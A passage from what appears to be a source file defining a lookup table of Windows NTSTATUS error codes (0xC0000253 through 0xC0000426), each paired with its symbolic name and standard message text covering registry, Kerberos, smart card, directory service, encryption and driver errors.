0xC0000253: ("STATUS_LPC_REPLY_LOST","The server received the messages but did not send a reply."),
0xC0000254: ("STATUS_IP_ADDRESS_CONFLICT1","There is an IP address conflict with another system on the network."),
0xC0000255: ("STATUS_IP_ADDRESS_CONFLICT2","There is an IP address conflict with another system on the network."),
0xC0000256: ("STATUS_REGISTRY_QUOTA_LIMIT","{Low On Registry Space} The system has reached the maximum size that is allowed for the system part of the registry. Additional storage requests will be ignored."),
0xC0000257: ("STATUS_PATH_NOT_COVERED","The contacted server does not support the indicated part of the DFS namespace."),
0xC0000258: ("STATUS_NO_CALLBACK_ACTIVE","A callback return system service cannot be executed when no callback is active."),
0xC0000259: ("STATUS_LICENSE_QUOTA_EXCEEDED","The service being accessed is licensed for a particular number of connections. No more connections can be made to the service at this time because the service has already accepted the maximum number of connections."),
0xC000025A: ("STATUS_PWD_TOO_SHORT","The password provided is too short to meet the policy of your user account. Choose a longer password."),
0xC000025B: ("STATUS_PWD_TOO_RECENT","The policy of your user account does not allow you to change passwords too frequently. This is done to prevent users from changing back to a familiar, but potentially discovered, password. If you feel your password has been compromised, contact your administrator immediately to have a new one assigned."),
0xC000025C: ("STATUS_PWD_HISTORY_CONFLICT","You have attempted to change your password to one that you have used in the past. The policy of your user account does not allow this. Select a password that you have not previously used."),
0xC000025E: ("STATUS_PLUGPLAY_NO_DEVICE","You have attempted to load a legacy device driver while its device instance had been disabled."),
0xC000025F: ("STATUS_UNSUPPORTED_COMPRESSION","The specified compression format is unsupported."),
0xC0000260: ("STATUS_INVALID_HW_PROFILE","The specified hardware profile configuration is invalid."),
0xC0000261: ("STATUS_INVALID_PLUGPLAY_DEVICE_PATH","The specified Plug and Play registry device path is invalid."),
0xC0000262: ("STATUS_DRIVER_ORDINAL_NOT_FOUND","{Driver Entry Point Not Found} The %hs device driver could not locate the ordinal %ld in driver %hs."),
0xC0000263: ("STATUS_DRIVER_ENTRYPOINT_NOT_FOUND","{Driver Entry Point Not Found} The %hs device driver could not locate the entry point %hs in driver %hs."),
0xC0000264: ("STATUS_RESOURCE_NOT_OWNED","{Application Error} The application attempted to release a resource it did not own. Click OK to terminate the application."),
0xC0000265: ("STATUS_TOO_MANY_LINKS","An attempt was made to create more links on a file than the file system supports."),
0xC0000266: ("STATUS_QUOTA_LIST_INCONSISTENT","The specified quota list is internally inconsistent with its descriptor."),
0xC0000267: ("STATUS_FILE_IS_OFFLINE","The specified file has been relocated to offline storage."),
0xC0000268: ("STATUS_EVALUATION_EXPIRATION","{Windows Evaluation Notification} The evaluation period for this installation of Windows has expired. This system will shutdown in 1 hour. To restore access to this installation of Windows, upgrade this installation by using a licensed distribution of this product."),
0xC0000269: ("STATUS_ILLEGAL_DLL_RELOCATION","{Illegal System DLL Relocation} The system DLL %hs was relocated in memory. The application will not run properly. The relocation occurred because the DLL %hs occupied an address range that is reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL."),
0xC000026A: ("STATUS_LICENSE_VIOLATION","{License Violation} The system has detected tampering with your registered product type. This is a violation of your software license. Tampering with the product type is not permitted."),
0xC000026B: ("STATUS_DLL_INIT_FAILED_LOGOFF","{DLL Initialization Failed} The application failed to initialize because the window station is shutting down."),
0xC000026C: ("STATUS_DRIVER_UNABLE_TO_LOAD","{Unable to Load Device Driver} %hs device driver could not be loaded. Error Status was 0x%x."),
0xC000026D: ("STATUS_DFS_UNAVAILABLE","DFS is unavailable on the contacted server."),
0xC000026E: ("STATUS_VOLUME_DISMOUNTED","An operation was attempted to a volume after it was dismounted."),
0xC000026F: ("STATUS_WX86_INTERNAL_ERROR","An internal error occurred in the Win32 x86 emulation subsystem."),
0xC0000270: ("STATUS_WX86_FLOAT_STACK_CHECK","Win32 x86 emulation subsystem floating-point stack check."),
0xC0000271: ("STATUS_VALIDATE_CONTINUE","The validation process needs to continue on to the next step."),
0xC0000272: ("STATUS_NO_MATCH","There was no match for the specified key in the index."),
0xC0000273: ("STATUS_NO_MORE_MATCHES","There are no more matches for the current index enumeration."),
0xC0000275: ("STATUS_NOT_A_REPARSE_POINT","The NTFS file or directory is not a reparse point."),
0xC0000276: ("STATUS_IO_REPARSE_TAG_INVALID","The Windows I/O reparse tag passed for the NTFS reparse point is invalid."),
0xC0000277: ("STATUS_IO_REPARSE_TAG_MISMATCH","The Windows I/O reparse tag does not match the one that is in the NTFS reparse point."),
0xC0000278: ("STATUS_IO_REPARSE_DATA_INVALID","The user data passed for the NTFS reparse point is invalid."),
0xC0000279: ("STATUS_IO_REPARSE_TAG_NOT_HANDLED","The layered file system driver for this I/O tag did not handle it when needed."),
0xC0000280: ("STATUS_REPARSE_POINT_NOT_RESOLVED","The NTFS symbolic link could not be resolved even though the initial file name is valid."),
0xC0000281: ("STATUS_DIRECTORY_IS_A_REPARSE_POINT","The NTFS directory is a reparse point."),
0xC0000282: ("STATUS_RANGE_LIST_CONFLICT","The range could not be added to the range list because of a conflict."),
0xC0000283: ("STATUS_SOURCE_ELEMENT_EMPTY","The specified medium changer source element contains no media."),
0xC0000284: ("STATUS_DESTINATION_ELEMENT_FULL","The specified medium changer destination element already contains media."),
0xC0000285: ("STATUS_ILLEGAL_ELEMENT_ADDRESS","The specified medium changer element does not exist."),
0xC0000286: ("STATUS_MAGAZINE_NOT_PRESENT","The specified element is contained in a magazine that is no longer present."),
0xC0000287: ("STATUS_REINITIALIZATION_NEEDED","The device requires re-initialization due to hardware errors."),
0xC000028A: ("STATUS_ENCRYPTION_FAILED","The file encryption attempt failed."),
0xC000028B: ("STATUS_DECRYPTION_FAILED","The file decryption attempt failed."),
0xC000028C: ("STATUS_RANGE_NOT_FOUND","The specified range could not be found in the range list."),
0xC000028D: ("STATUS_NO_RECOVERY_POLICY","There is no encryption recovery policy configured for this system."),
0xC000028E: ("STATUS_NO_EFS","The required encryption driver is not loaded for this system."),
0xC000028F: ("STATUS_WRONG_EFS","The file was encrypted with a different encryption driver than is currently loaded."),
0xC0000290: ("STATUS_NO_USER_KEYS","There are no EFS keys defined for the user."),
0xC0000291: ("STATUS_FILE_NOT_ENCRYPTED","The specified file is not encrypted."),
0xC0000292: ("STATUS_NOT_EXPORT_FORMAT","The specified file is not in the defined EFS export format."),
0xC0000293: ("STATUS_FILE_ENCRYPTED","The specified file is encrypted and the user does not have the ability to decrypt it."),
0xC0000295: ("STATUS_WMI_GUID_NOT_FOUND","The GUID passed was not recognized as valid by a WMI data provider."),
0xC0000296: ("STATUS_WMI_INSTANCE_NOT_FOUND","The instance name passed was not recognized as valid by a WMI data provider."),
0xC0000297: ("STATUS_WMI_ITEMID_NOT_FOUND","The data item ID passed was not recognized as valid by a WMI data provider."),
0xC0000298: ("STATUS_WMI_TRY_AGAIN","The WMI request could not be completed and should be retried."),
0xC0000299: ("STATUS_SHARED_POLICY","The policy object is shared and can only be modified at the root."),
0xC000029A: ("STATUS_POLICY_OBJECT_NOT_FOUND","The policy object does not exist when it should."),
0xC000029B: ("STATUS_POLICY_ONLY_IN_DS","The requested policy information only lives in the Ds."),
0xC000029C: ("STATUS_VOLUME_NOT_UPGRADED","The volume must be upgraded to enable this feature."),
0xC000029D: ("STATUS_REMOTE_STORAGE_NOT_ACTIVE","The remote storage service is not operational at this time."),
0xC000029E: ("STATUS_REMOTE_STORAGE_MEDIA_ERROR","The remote storage service encountered a media error."),
0xC000029F: ("STATUS_NO_TRACKING_SERVICE","The tracking (workstation) service is not running."),
0xC00002A0: ("STATUS_SERVER_SID_MISMATCH","The server process is running under a SID that is different from the SID that is required by client."),
0xC00002A1: ("STATUS_DS_NO_ATTRIBUTE_OR_VALUE","The specified directory service attribute or value does not exist."),
0xC00002A2: ("STATUS_DS_INVALID_ATTRIBUTE_SYNTAX","The attribute syntax specified to the directory service is invalid."),
0xC00002A3: ("STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED","The attribute type specified to the directory service is not defined."),
0xC00002A4: ("STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS","The specified directory service attribute or value already exists."),
0xC00002A5: ("STATUS_DS_BUSY","The directory service is busy."),
0xC00002A6: ("STATUS_DS_UNAVAILABLE","The directory service is unavailable."),
0xC00002A7: ("STATUS_DS_NO_RIDS_ALLOCATED","The directory service was unable to allocate a relative identifier."),
0xC00002A8: ("STATUS_DS_NO_MORE_RIDS","The directory service has exhausted the pool of relative identifiers."),
0xC00002A9: ("STATUS_DS_INCORRECT_ROLE_OWNER","The requested operation could not be performed because the directory service is not the master for that type of operation."),
0xC00002AA: ("STATUS_DS_RIDMGR_INIT_ERROR","The directory service was unable to initialize the subsystem that allocates relative identifiers."),
0xC00002AB: ("STATUS_DS_OBJ_CLASS_VIOLATION","The requested operation did not satisfy one or more constraints that are associated with the class of the object."),
0xC00002AC: ("STATUS_DS_CANT_ON_NON_LEAF","The directory service can perform the requested operation only on a leaf object."),
0xC00002AD: ("STATUS_DS_CANT_ON_RDN","The directory service cannot perform the requested operation on the Relatively Defined Name (RDN) attribute of an object."),
0xC00002AE: ("STATUS_DS_CANT_MOD_OBJ_CLASS","The directory service detected an attempt to modify the object class of an object."),
0xC00002AF: ("STATUS_DS_CROSS_DOM_MOVE_FAILED","An error occurred while performing a cross domain move operation."),
0xC00002B0: ("STATUS_DS_GC_NOT_AVAILABLE","Unable to contact the global catalog server."),
0xC00002B1: ("STATUS_DIRECTORY_SERVICE_REQUIRED","The requested operation requires a directory service, and none was available."),
0xC00002B2: ("STATUS_REPARSE_ATTRIBUTE_CONFLICT","The reparse attribute cannot be set because it is incompatible with an existing attribute."),
0xC00002B3: ("STATUS_CANT_ENABLE_DENY_ONLY","A group marked \"use for deny only\" cannot be enabled."),
0xC00002B4: ("STATUS_FLOAT_MULTIPLE_FAULTS","{EXCEPTION} Multiple floating-point faults."),
0xC00002B5: ("STATUS_FLOAT_MULTIPLE_TRAPS","{EXCEPTION} Multiple floating-point traps."),
0xC00002B6: ("STATUS_DEVICE_REMOVED","The device has been removed."),
0xC00002B7: ("STATUS_JOURNAL_DELETE_IN_PROGRESS","The volume change journal is being deleted."),
0xC00002B8: ("STATUS_JOURNAL_NOT_ACTIVE","The volume change journal is not active."),
0xC00002B9: ("STATUS_NOINTERFACE","The requested interface is not supported."),
0xC00002C1: ("STATUS_DS_ADMIN_LIMIT_EXCEEDED","A directory service resource limit has been exceeded."),
0xC00002C2: ("STATUS_DRIVER_FAILED_SLEEP","{System Standby Failed} The driver %hs does not support standby mode. Updating this driver may allow the system to go to standby mode."),
0xC00002C3: ("STATUS_MUTUAL_AUTHENTICATION_FAILED","Mutual Authentication failed. The server password is out of date at the domain controller."),
0xC00002C4: ("STATUS_CORRUPT_SYSTEM_FILE","The system file %1 has become corrupt and has been replaced."),
0xC00002C5: ("STATUS_DATATYPE_MISALIGNMENT_ERROR","{EXCEPTION} Alignment Error A data type misalignment error was detected in a load or store instruction."),
0xC00002C6: ("STATUS_WMI_READ_ONLY","The WMI data item or data block is read-only."),
0xC00002C7: ("STATUS_WMI_SET_FAILURE","The WMI data item or data block could not be changed."),
0xC00002C8: ("STATUS_COMMITMENT_MINIMUM","{Virtual Memory Minimum Too Low} Your system is low on virtual memory. Windows is increasing the size of your virtual memory paging file. During this process, memory requests for some applications may be denied. For more information, see Help."),
0xC00002C9: ("STATUS_REG_NAT_CONSUMPTION","{EXCEPTION} Register NaT consumption faults. A NaT value is consumed on a non-speculative instruction."),
0xC00002CA: ("STATUS_TRANSPORT_FULL","The transport element of the medium changer contains media, which is causing the operation to fail."),
0xC00002CB: ("STATUS_DS_SAM_INIT_FAILURE","Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Directory Services Restore Mode. Check the event log for more detailed information."),
0xC00002CC: ("STATUS_ONLY_IF_CONNECTED","This operation is supported only when you are connected to the server."),
0xC00002CD: ("STATUS_DS_SENSITIVE_GROUP_VIOLATION","Only an administrator can modify the membership list of an administrative group."),
0xC00002CE: ("STATUS_PNP_RESTART_ENUMERATION","A device was removed so enumeration must be restarted."),
0xC00002CF: ("STATUS_JOURNAL_ENTRY_DELETED","The journal entry has been deleted from the journal."),
0xC00002D0: ("STATUS_DS_CANT_MOD_PRIMARYGROUPID","Cannot change the primary group ID of a domain controller account."),
0xC00002D1: ("STATUS_SYSTEM_IMAGE_BAD_SIGNATURE","{Fatal System Error} The system image %s is not properly signed. The file has been replaced with the signed file. The system has been shut down."),
0xC00002D2: ("STATUS_PNP_REBOOT_REQUIRED","The device will not start without a reboot."),
0xC00002D3: ("STATUS_POWER_STATE_INVALID","The power state of the current device cannot support this request."),
0xC00002D4: ("STATUS_DS_INVALID_GROUP_TYPE","The specified group type is invalid."),
0xC00002D5: ("STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN","In a mixed domain, no nesting of a global group if the group is security enabled."),
0xC00002D6: ("STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN","In a mixed domain, cannot nest local groups with other local groups, if the group is security enabled."),
0xC00002D7: ("STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER","A global group cannot have a local group as a member."),
0xC00002D8: ("STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER","A global group cannot have a universal group as a member."),
0xC00002D9: ("STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER","A universal group cannot have a local group as a member."),
0xC00002DA: ("STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER","A global group cannot have a cross-domain member."),
0xC00002DB: ("STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER","A local group cannot have another cross-domain local group as a member."),
0xC00002DC: ("STATUS_DS_HAVE_PRIMARY_MEMBERS","Cannot change to a security-disabled group because primary members are in this group."),
0xC00002DD: ("STATUS_WMI_NOT_SUPPORTED","The WMI operation is not supported by the data block or method."),
0xC00002DE: ("STATUS_INSUFFICIENT_POWER","There is not enough power to complete the requested operation."),
0xC00002DF: ("STATUS_SAM_NEED_BOOTKEY_PASSWORD","The Security Accounts Manager needs to get the boot password."),
0xC00002E0: ("STATUS_SAM_NEED_BOOTKEY_FLOPPY","The Security Accounts Manager needs to get the boot key from the floppy disk."),
0xC00002E1: ("STATUS_DS_CANT_START","The directory service cannot start."),
0xC00002E2: ("STATUS_DS_INIT_FAILURE","The directory service could not start because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Directory Services Restore Mode. Check the event log for more detailed information."),
0xC00002E3: ("STATUS_SAM_INIT_FAILURE","The Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Safe Mode. Check the event log for more detailed information."),
0xC00002E4: ("STATUS_DS_GC_REQUIRED","The requested operation can be performed only on a global catalog server."),
0xC00002E5: ("STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY","A local group can only be a member of other local groups in the same domain."),
0xC00002E6: ("STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS","Foreign security principals cannot be members of universal groups."),
0xC00002E7: ("STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED","Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased."),
0xC00002E9: ("STATUS_CURRENT_DOMAIN_NOT_ALLOWED","This operation cannot be performed on the current domain."),
0xC00002EA: ("STATUS_CANNOT_MAKE","The directory or file cannot be created."),
0xC00002EB: ("STATUS_SYSTEM_SHUTDOWN","The system is in the process of shutting down."),
0xC00002EC: ("STATUS_DS_INIT_FAILURE_CONSOLE","Directory Services could not start because of the following error: %hs Error Status: 0x%x. Click OK to shut down the system. You can use the recovery console to diagnose the system further."),
0xC00002ED: ("STATUS_DS_SAM_INIT_FAILURE_CONSOLE","Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down the system. You can use the recovery console to diagnose the system further."),
0xC00002EE: ("STATUS_UNFINISHED_CONTEXT_DELETED","A security context was deleted before the context was completed. This is considered a logon failure."),
0xC00002EF: ("STATUS_NO_TGT_REPLY","The client is trying to negotiate a context and the server requires user-to-user but did not send a TGT reply."),
0xC00002F0: ("STATUS_OBJECTID_NOT_FOUND","An object ID was not found in the file."),
0xC00002F1: ("STATUS_NO_IP_ADDRESSES","Unable to accomplish the requested task because the local machine does not have any IP addresses."),
0xC00002F2: ("STATUS_WRONG_CREDENTIAL_HANDLE","The supplied credential handle does not match the credential that is associated with the security context."),
0xC00002F3: ("STATUS_CRYPTO_SYSTEM_INVALID","The crypto system or checksum function is invalid because a required function is unavailable."),
0xC00002F4: ("STATUS_MAX_REFERRALS_EXCEEDED","The number of maximum ticket referrals has been exceeded."),
0xC00002F5: ("STATUS_MUST_BE_KDC","The local machine must be a Kerberos KDC (domain controller) and it is not."),
0xC00002F6: ("STATUS_STRONG_CRYPTO_NOT_SUPPORTED","The other end of the security negotiation requires strong crypto but it is not supported on the local machine."),
0xC00002F7: ("STATUS_TOO_MANY_PRINCIPALS","The KDC reply contained more than one principal name."),
0xC00002F8: ("STATUS_NO_PA_DATA","Expected to find PA data for a hint of what etype to use, but it was not found."),
0xC00002F9: ("STATUS_PKINIT_NAME_MISMATCH","The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Contact your administrator."),
0xC00002FA: ("STATUS_SMARTCARD_LOGON_REQUIRED","Smart card logon is required and was not used."),
0xC00002FB: ("STATUS_KDC_INVALID_REQUEST","An invalid request was sent to the KDC."),
0xC00002FC: ("STATUS_KDC_UNABLE_TO_REFER","The KDC was unable to generate a referral for the service requested."),
0xC00002FD: ("STATUS_KDC_UNKNOWN_ETYPE","The encryption type requested is not supported by the KDC."),
0xC00002FE: ("STATUS_SHUTDOWN_IN_PROGRESS","A system shutdown is in progress."),
0xC00002FF: ("STATUS_SERVER_SHUTDOWN_IN_PROGRESS","The server machine is shutting down."),
0xC0000300: ("STATUS_NOT_SUPPORTED_ON_SBS","This operation is not supported on a computer running Windows Server 2003 for Small Business Server."),
0xC0000301: ("STATUS_WMI_GUID_DISCONNECTED","The WMI GUID is no longer available."),
0xC0000302: ("STATUS_WMI_ALREADY_DISABLED","Collection or events for the WMI GUID is already disabled."),
0xC0000303: ("STATUS_WMI_ALREADY_ENABLED","Collection or events for the WMI GUID is already enabled."),
0xC0000304: ("STATUS_MFT_TOO_FRAGMENTED","The master file table on the volume is too fragmented to complete this operation."),
0xC0000305: ("STATUS_COPY_PROTECTION_FAILURE","Copy protection failure."),
0xC0000306: ("STATUS_CSS_AUTHENTICATION_FAILURE","Copy protection error-DVD CSS Authentication failed."),
0xC0000307: ("STATUS_CSS_KEY_NOT_PRESENT","Copy protection error-The specified sector does not contain a valid key."),
0xC0000308: ("STATUS_CSS_KEY_NOT_ESTABLISHED","Copy protection error-DVD session key not established."),
0xC0000309: ("STATUS_CSS_SCRAMBLED_SECTOR","Copy protection error-The read failed because the sector is encrypted."),
0xC000030A: ("STATUS_CSS_REGION_MISMATCH","Copy protection error-The region of the specified DVD does not correspond to the region setting of the drive."),
0xC000030B: ("STATUS_CSS_RESETS_EXHAUSTED","Copy protection error-The region setting of the drive may be permanent."),
0xC0000320: ("STATUS_PKINIT_FAILURE","The Kerberos protocol encountered an error while validating the KDC certificate during smart card logon. There is more information in the system event log."),
0xC0000321: ("STATUS_SMARTCARD_SUBSYSTEM_FAILURE","The Kerberos protocol encountered an error while attempting to use the smart card subsystem."),
0xC0000322: ("STATUS_NO_KERB_KEY","The target server does not have acceptable Kerberos credentials."),
0xC0000350: ("STATUS_HOST_DOWN","The transport determined that the remote system is down."),
0xC0000351: ("STATUS_UNSUPPORTED_PREAUTH","An unsupported pre-authentication mechanism was presented to the Kerberos package."),
0xC0000352: ("STATUS_EFS_ALG_BLOB_TOO_BIG","The encryption algorithm that is used on the source file needs a bigger key buffer than the one that is used on the destination file."),
0xC0000353: ("STATUS_PORT_NOT_SET","An attempt to remove a processes DebugPort was made, but a port was not already associated with the process."),
0xC0000354: ("STATUS_DEBUGGER_INACTIVE","An attempt to do an operation on a debug port failed because the port is in the process of being deleted."),
0xC0000355: ("STATUS_DS_VERSION_CHECK_FAILURE","This version of Windows is not compatible with the behavior version of the directory forest, domain, or domain controller."),
0xC0000356: ("STATUS_AUDITING_DISABLED","The specified event is currently not being audited."),
0xC0000357: ("STATUS_PRENT4_MACHINE_ACCOUNT","The machine account was created prior to Windows NT 4.0. The account needs to be recreated."),
0xC0000358: ("STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER","An account group cannot have a universal group as a member."),
0xC0000359: ("STATUS_INVALID_IMAGE_WIN_32","The specified image file did not have the correct format; it appears to be a 32-bit Windows image."),
0xC000035A: ("STATUS_INVALID_IMAGE_WIN_64","The specified image file did not have the correct format; it appears to be a 64-bit Windows image."),
0xC000035B: ("STATUS_BAD_BINDINGS","The client's supplied SSPI channel bindings were incorrect."),
0xC000035C: ("STATUS_NETWORK_SESSION_EXPIRED","The client session has expired; so the client must re-authenticate to continue accessing the remote resources."),
0xC000035D: ("STATUS_APPHELP_BLOCK","The AppHelp dialog box canceled; thus preventing the application from starting."),
0xC000035E: ("STATUS_ALL_SIDS_FILTERED","The SID filtering operation removed all SIDs."),
0xC000035F: ("STATUS_NOT_SAFE_MODE_DRIVER","The driver was not loaded because the system is starting in safe mode."),
0xC0000361: ("STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT","Access to %1 has been restricted by your Administrator by the default software restriction policy level."),
0xC0000362: ("STATUS_ACCESS_DISABLED_BY_POLICY_PATH","Access to %1 has been restricted by your Administrator by location with policy rule %2 placed on path %3."),
0xC0000363: ("STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER","Access to %1 has been restricted by your Administrator by software publisher policy."),
0xC0000364: ("STATUS_ACCESS_DISABLED_BY_POLICY_OTHER","Access to %1 has been restricted by your Administrator by policy rule %2."),
0xC0000365: ("STATUS_FAILED_DRIVER_ENTRY","The driver was not loaded because it failed its initialization call."),
0xC0000366: ("STATUS_DEVICE_ENUMERATION_ERROR","The device encountered an error while applying power or reading the device configuration. This may be caused by a failure of your hardware or by a poor connection."),
0xC0000368: ("STATUS_MOUNT_POINT_NOT_RESOLVED","The create operation failed because the name contained at least one mount point that resolves to a volume to which the specified device object is not attached."),
0xC0000369: ("STATUS_INVALID_DEVICE_OBJECT_PARAMETER","The device object parameter is either not a valid device object or is not attached to the volume that is specified by the file name."),
0xC000036A: ("STATUS_MCA_OCCURED","A machine check error has occurred. Check the system event log for additional information."),
0xC000036B: ("STATUS_DRIVER_BLOCKED_CRITICAL","Driver %2 has been blocked from loading."),
0xC000036C: ("STATUS_DRIVER_BLOCKED","Driver %2 has been blocked from loading."),
0xC000036D: ("STATUS_DRIVER_DATABASE_ERROR","There was error [%2] processing the driver database."),
0xC000036E: ("STATUS_SYSTEM_HIVE_TOO_LARGE","System hive size has exceeded its limit."),
0xC000036F: ("STATUS_INVALID_IMPORT_OF_NON_DLL","A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image."),
0xC0000371: ("STATUS_NO_SECRETS","The local account store does not contain secret material for the specified account."),
0xC0000372: ("STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY","Access to %1 has been restricted by your Administrator by policy rule %2."),
0xC0000373: ("STATUS_FAILED_STACK_SWITCH","The system was not able to allocate enough memory to perform a stack switch."),
0xC0000374: ("STATUS_HEAP_CORRUPTION","A heap has been corrupted."),
0xC0000380: ("STATUS_SMARTCARD_WRONG_PIN","An incorrect PIN was presented to the smart card."),
0xC0000381: ("STATUS_SMARTCARD_CARD_BLOCKED","The smart card is blocked."),
0xC0000382: ("STATUS_SMARTCARD_CARD_NOT_AUTHENTICATED","No PIN was presented to the smart card."),
0xC0000383: ("STATUS_SMARTCARD_NO_CARD","No smart card is available."),
0xC0000384: ("STATUS_SMARTCARD_NO_KEY_CONTAINER","The requested key container does not exist on the smart card."),
0xC0000385: ("STATUS_SMARTCARD_NO_CERTIFICATE","The requested certificate does not exist on the smart card."),
0xC0000386: ("STATUS_SMARTCARD_NO_KEYSET","The requested keyset does not exist."),
0xC0000387: ("STATUS_SMARTCARD_IO_ERROR","A communication error with the smart card has been detected."),
0xC0000388: ("STATUS_DOWNGRADE_DETECTED","The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you."),
0xC0000389: ("STATUS_SMARTCARD_CERT_REVOKED","The smart card certificate used for authentication has been revoked. Contact your system administrator. There may be additional information in the event log."),
0xC000038A: ("STATUS_ISSUING_CA_UNTRUSTED","An untrusted certificate authority was detected while processing the smart card certificate that is used for authentication. Contact your system administrator."),
0xC000038B: ("STATUS_REVOCATION_OFFLINE_C","The revocation status of the smart card certificate that is used for authentication could not be determined. Contact your system administrator."),
0xC000038C: ("STATUS_PKINIT_CLIENT_FAILURE","The smart card certificate used for authentication was not trusted. Contact your system administrator."),
0xC000038D: ("STATUS_SMARTCARD_CERT_EXPIRED","The smart card certificate used for authentication has expired. Contact your system administrator."),
0xC000038E: ("STATUS_DRIVER_FAILED_PRIOR_UNLOAD","The driver could not be loaded because a previous version of the driver is still in memory."),
0xC000038F: ("STATUS_SMARTCARD_SILENT_CONTEXT","The smart card provider could not perform the action because the context was acquired as silent."),
0xC0000401: ("STATUS_PER_USER_TRUST_QUOTA_EXCEEDED","The delegated trust creation quota of the current user has been exceeded."),
0xC0000402: ("STATUS_ALL_USER_TRUST_QUOTA_EXCEEDED","The total delegated trust creation quota has been exceeded."),
0xC0000403: ("STATUS_USER_DELETE_TRUST_QUOTA_EXCEEDED","The delegated trust deletion quota of the current user has been exceeded."),
0xC0000404: ("STATUS_DS_NAME_NOT_UNIQUE","The requested name already exists as a unique identifier."),
0xC0000405: ("STATUS_DS_DUPLICATE_ID_FOUND","The requested object has a non-unique identifier and cannot be retrieved."),
0xC0000406: ("STATUS_DS_GROUP_CONVERSION_ERROR","The group cannot be converted due to attribute restrictions on the requested group type."),
0xC0000407: ("STATUS_VOLSNAP_PREPARE_HIBERNATE","{Volume Shadow Copy Service} Wait while the Volume Shadow Copy Service prepares volume %hs for hibernation."),
0xC0000408: ("STATUS_USER2USER_REQUIRED","Kerberos sub-protocol User2User is required."),
0xC0000409: ("STATUS_STACK_BUFFER_OVERRUN","The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application."),
0xC000040A: ("STATUS_NO_S4U_PROT_SUPPORT","The Kerberos subsystem encountered an error. A service for user protocol request was made against a domain controller which does not support service for user."),
0xC000040B: ("STATUS_CROSSREALM_DELEGATION_FAILURE","An attempt was made by this server to make a Kerberos constrained delegation request for a target that is outside the server realm. This action is not supported and the resulting error indicates a misconfiguration on the allowed-to-delegate-to list for this server. Contact your administrator."),
0xC000040C: ("STATUS_REVOCATION_OFFLINE_KDC","The revocation status of the domain controller certificate used for smart card authentication could not be determined. There is additional information in the system event log. Contact your system administrator."),
0xC000040D: ("STATUS_ISSUING_CA_UNTRUSTED_KDC","An untrusted certificate authority was detected while processing the domain controller certificate used for authentication. There is additional information in the system event log. Contact your system administrator."),
0xC000040E: ("STATUS_KDC_CERT_EXPIRED","The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log."),
0xC000040F: ("STATUS_KDC_CERT_REVOKED","The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log."),
0xC0000410: ("STATUS_PARAMETER_QUOTA_EXCEEDED","Data present in one of the parameters is more than the function can operate on."),
0xC0000411: ("STATUS_HIBERNATION_FAILURE","The system has failed to hibernate (The error code is %hs). Hibernation will be disabled until the system is restarted."),
0xC0000412: ("STATUS_DELAY_LOAD_FAILED","An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed."),
0xC0000413: ("STATUS_AUTHENTICATION_FIREWALL_FAILED","Logon Failure: The machine you are logging onto is protected by an authentication firewall. The specified account is not allowed to authenticate to the machine."),
0xC0000414: ("STATUS_VDM_DISALLOWED","%hs is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator."),
0xC0000415: ("STATUS_HUNG_DISPLAY_DRIVER_THREAD","{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the machine a dialog will be displayed giving you a chance to report this failure to Microsoft."),
0xC0000416: ("STATUS_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE","The Desktop heap encountered an error while allocating session memory. There is more information in the system event log."),
0xC0000417: ("STATUS_INVALID_CRUNTIME_PARAMETER","An invalid parameter was passed to a C runtime function."),
0xC0000418: ("STATUS_NTLM_BLOCKED","The authentication failed because NTLM was blocked."),
0xC0000419: ("STATUS_DS_SRC_SID_EXISTS_IN_FOREST","The source object's SID already exists in destination forest."),
0xC000041A: ("STATUS_DS_DOMAIN_NAME_EXISTS_IN_FOREST","The domain name of the trusted domain already exists in the forest."),
0xC000041B: ("STATUS_DS_FLAT_NAME_EXISTS_IN_FOREST","The flat name of the trusted domain already exists in the forest."),
0xC000041C: ("STATUS_INVALID_USER_PRINCIPAL_NAME","The User Principal Name (UPN) is invalid."),
0xC0000420: ("STATUS_ASSERTION_FAILURE","There has been an assertion failure."),
0xC0000421: ("STATUS_VERIFIER_STOP","Application verifier has found an error in the current process."),
0xC0000423: ("STATUS_CALLBACK_POP_STACK","A user mode unwind is in progress."),
0xC0000424: ("STATUS_INCOMPATIBLE_DRIVER_BLOCKED","%2 has been blocked from loading due to incompatibility with this system. Contact your software vendor for a compatible version of the driver."),
0xC0000425: ("STATUS_HIVE_UNLOADED","Illegal operation attempted on a registry key which has already been unloaded."),
0xC0000426: ("STATUS_COMPRESSION_DISABLED","Compression is disabled for this volume."),
